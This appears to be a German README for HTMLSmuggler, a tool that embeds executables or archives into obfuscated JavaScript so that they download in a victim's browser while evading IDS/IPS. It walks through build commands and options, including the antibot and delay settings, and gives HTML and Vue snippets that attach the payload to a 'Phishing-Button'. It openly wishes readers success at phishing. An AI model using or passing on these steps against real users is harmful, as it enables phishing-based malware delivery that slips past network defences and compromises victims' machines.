
✉️ HTML-Smuggling-Generator & Obfuskator für Ihre Red-Team-Operationen
HTMLSmuggler – JS-Payload-Generator für IDS-Umgehung und Payload-Zustellung mittels HTML-Smuggling.
Eine vollständige Erklärung, was HTML-Smuggling ist, finden Sie hier.
Das primäre Ziel von HTML-Smuggling ist die Umgehung von Netzwerksicherheitskontrollen wie Firewalls und Intrusion Detection Systems, indem bösartige Payloads (z. B. ausführbare Dateien/Archive usw.) in scheinbar harmlosen HTML- und JavaScript-Code getarnt werden. Durch die Nutzung der dynamischen Natur von Webanwendungen können Angreifer bösartige Inhalte an den Browser eines Benutzers ausliefern, ohne Sicherheitswarnungen auszulösen oder von traditionellen Sicherheitsmechanismen erkannt zu werden. Dank dieser Technik wird der Download einer schädlichen Datei in modernen IDS-Lösungen in keiner Weise angezeigt.
Das Hauptziel des HTMLSmuggler-Tools ist die Erstellung einer eigenständigen JavaScript-Bibliothek mit eingebettetem, benutzerdefinierten Payload. Diese Bibliothek kann in Ihre Phishing-Seiten/E-Mail-HTML-Anhänge usw. integriert werden, um den eingebetteten Payload an das Zielsystem des Benutzers auszuliefern (unter Umgehung von IDS- und IPS-Systemen). Ein Beispiel für eine erstellte JavaScript-Bibliothek finden Sie hier.
Installieren Sie die Abhängigkeiten:
yarn
Lesen Sie die Hilfemeldung.
yarn build -h
Optionen:
-p, --payload <string> Pfad zur Payload-Datei, die geschmuggelt werden soll
-n, --name <string> Name der Datei, die heruntergeladen wird
-t, --type <string> Content-Type der heruntergeladenen Datei (Standard: "application/octet-stream")
-f, --function <string> Name der exportierten Funktion (Standard: "download")
-c, --compress Aktiviert Payload-Kompression (gzip)
-d, --delay <number> Verzögerung vor Antibot und Download in ms (Standard: 0)
-a, --antibot Aktiviert Bot-Erkennung und blockiert diese (empfohlen)
-h, --help Hilfe für den Befehl anzeigen
(Optional) Ändern Sie die javascript-obfuscator-Optionen in obfuscator.js. Meine Voreinstellung ist gut, aber sehr langsam.
Kompilieren Sie Ihr JavaScript-Payload:
⚠️ VERMEIDEN SIE DIE VERWENDUNG VON PAYLOADS GRÖSSER ALS 3 MiB (siehe FAQ)
yarn build -p /pfad/zum/payload -n datei.exe -t "application/octet-stream" -c -a -d 3000
Holen Sie sich Ihr Payload aus dist/payload.esm.js oder dist/payload.umd.js. Danach kann es in Ihre Seite eingefügt und mit der Funktion download() (oder einer benutzerdefinierten, mit -f angegebenen) aufgerufen werden.
payload.esm.jswird inimport { download } from 'payload.esm';-Imports (ECMAScript-Standard) verwendet.
payload.umd.jswird in HTML-Script-SRC undrequire('payload.umd');-Imports (CommonJS, AMD und reines HTML) verwendet.
Ein vollständiges Beispiel finden Sie hier.
Führen Sie die Vorbereitungsschritte aus.
Importieren Sie das erstellte Skript in die HTML-Datei (oder fügen Sie es inline ein):
<head>
<script src="payload.umd.js"></script>
</head>
Rufen Sie die Funktion download() aus dem Body auf:
<body>
<button onclick="download()">Irgendein Phishing-Button</button>
</body>
Viel Erfolg beim Phishing :)
Ein vollständiges Beispiel finden Sie hier.
Führen Sie die Vorbereitungsschritte aus.
Importieren Sie das erstellte Skript in die Vue-Datei:
<script>
import { download } from './payload.esm';
</script>
Rufen Sie die Funktion download() auf:
<template>
<button @click="download()">Irgendein Phishing-Button</button>
</template>
Viel Erfolg beim Phishing :)
F: Ich erhalte einen Fehler RangeError: Maximum call stack size exceeded, wie kann ich das lösen?
A: Dieser Fehler wird hier beschrieben. Um ihn zu beheben, versuchen Sie, splitStrings in obfuscator.js zu deaktivieren oder ein kleineres Payload zu verwenden (aufgrund dieses Fehlers wird empfohlen, Payloads bis zu 2 MB zu verwenden).
F: Warum dauert der Build meines Payloads so lange?
A: Je größer das Payload, desto länger dauert die Erstellung der JS-Datei. Um die Build-Zeit zu verkürzen, versuchen Sie, splitStrings in obfuscator.js zu deaktivieren. Nachfolgend eine Tabelle mit geschätzten Build-Zeiten unter Verwendung der Standard-obfuscator.js.
| Payload-Größe | Build-Zeit |
|---|---|
| 525 KB | 53 s |
| 1,25 MB | 8 m |
| 3,59 MB | 25 m |